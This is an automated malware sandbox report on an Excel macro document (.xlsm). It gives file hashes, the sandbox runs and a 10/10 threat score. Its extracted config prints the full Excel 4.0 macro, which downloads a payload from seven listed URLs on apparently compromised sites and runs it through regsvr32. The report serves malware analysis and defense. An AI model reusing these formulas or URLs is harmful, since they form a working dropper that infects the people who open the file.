Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
General
-
Target
91f627a8e50994868cd19b1a01a258b9d008d0305064e07cbb4bc633b01338e4
-
Size
38KB
-
Sample
241111-z2sy5szmcl
-
MD5
0ea5b2e08c26acbda953a5ce4c083454
-
SHA1
c466490564e8baa2801570f49365d01096da23bf
-
SHA256
91f627a8e50994868cd19b1a01a258b9d008d0305064e07cbb4bc633b01338e4
-
SHA512
13d976d8652313f2ca0584f21f39a2608249fe11fcbf16ebeb8e0c60e64643b1c6d6c02e88ed6f869eba0ff2b95bd501a534e9a5b4336e86eead92b6026f17b3
-
SSDEEP
768:2dUCR8xZ5jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIy5:e5wXOZZ1ZYpoQ/pMAeVIyMId
Behavioral task
behavioral1
Sample
91f627a8e50994868cd19b1a01a258b9d008d0305064e07cbb4bc633b01338e4.xlsm
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
91f627a8e50994868cd19b1a01a258b9d008d0305064e07cbb4bc633b01338e4.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/
https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/
https://blog.centerking.top/wp-includes/WEIuPafz0bS/
https://edu-media.cn/wp-admin/TOu/
https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/
https://lydt.cc/wp-includes/jprpcO8U/
https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/","..\wnru.ocx",0,0) =IF('HUNJK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/","..\wnru.ocx",0,0)) =IF('HUNJK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://blog.centerking.top/wp-includes/WEIuPafz0bS/","..\wnru.ocx",0,0)) =IF('HUNJK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://edu-media.cn/wp-admin/TOu/","..\wnru.ocx",0,0)) =IF('HUNJK'!E21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/","..\wnru.ocx",0,0)) =IF('HUNJK'!E23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lydt.cc/wp-includes/jprpcO8U/","..\wnru.ocx",0,0)) =IF('HUNJK'!E25<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/","..\wnru.ocx",0,0)) =IF('HUNJK'!E27<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wnru.ocx") =RETURN()
Extracted
https://ausnz.net/2010wc/RhAYVPNypjphNNk6J/
https://belisip.net/libs/Swift-5.1.0/F5XU7EuPePQ/
https://blog.centerking.top/wp-includes/WEIuPafz0bS/
https://edu-media.cn/wp-admin/TOu/
https://ppiabanyuwangi.or.id/lulu-1937/daURDNUyso/
https://lydt.cc/wp-includes/jprpcO8U/
https://acerestoration.co.za/wp-admin/gJqMBYhQHYsDE/
Targets
-
-
Target
91f627a8e50994868cd19b1a01a258b9d008d0305064e07cbb4bc633b01338e4
-
Size
38KB
-
MD5
0ea5b2e08c26acbda953a5ce4c083454
-
SHA1
c466490564e8baa2801570f49365d01096da23bf
-
SHA256
91f627a8e50994868cd19b1a01a258b9d008d0305064e07cbb4bc633b01338e4
-
SHA512
13d976d8652313f2ca0584f21f39a2608249fe11fcbf16ebeb8e0c60e64643b1c6d6c02e88ed6f869eba0ff2b95bd501a534e9a5b4336e86eead92b6026f17b3
-
SSDEEP
768:2dUCR8xZ5jOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooFVIy5:e5wXOZZ1ZYpoQ/pMAeVIyMId
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-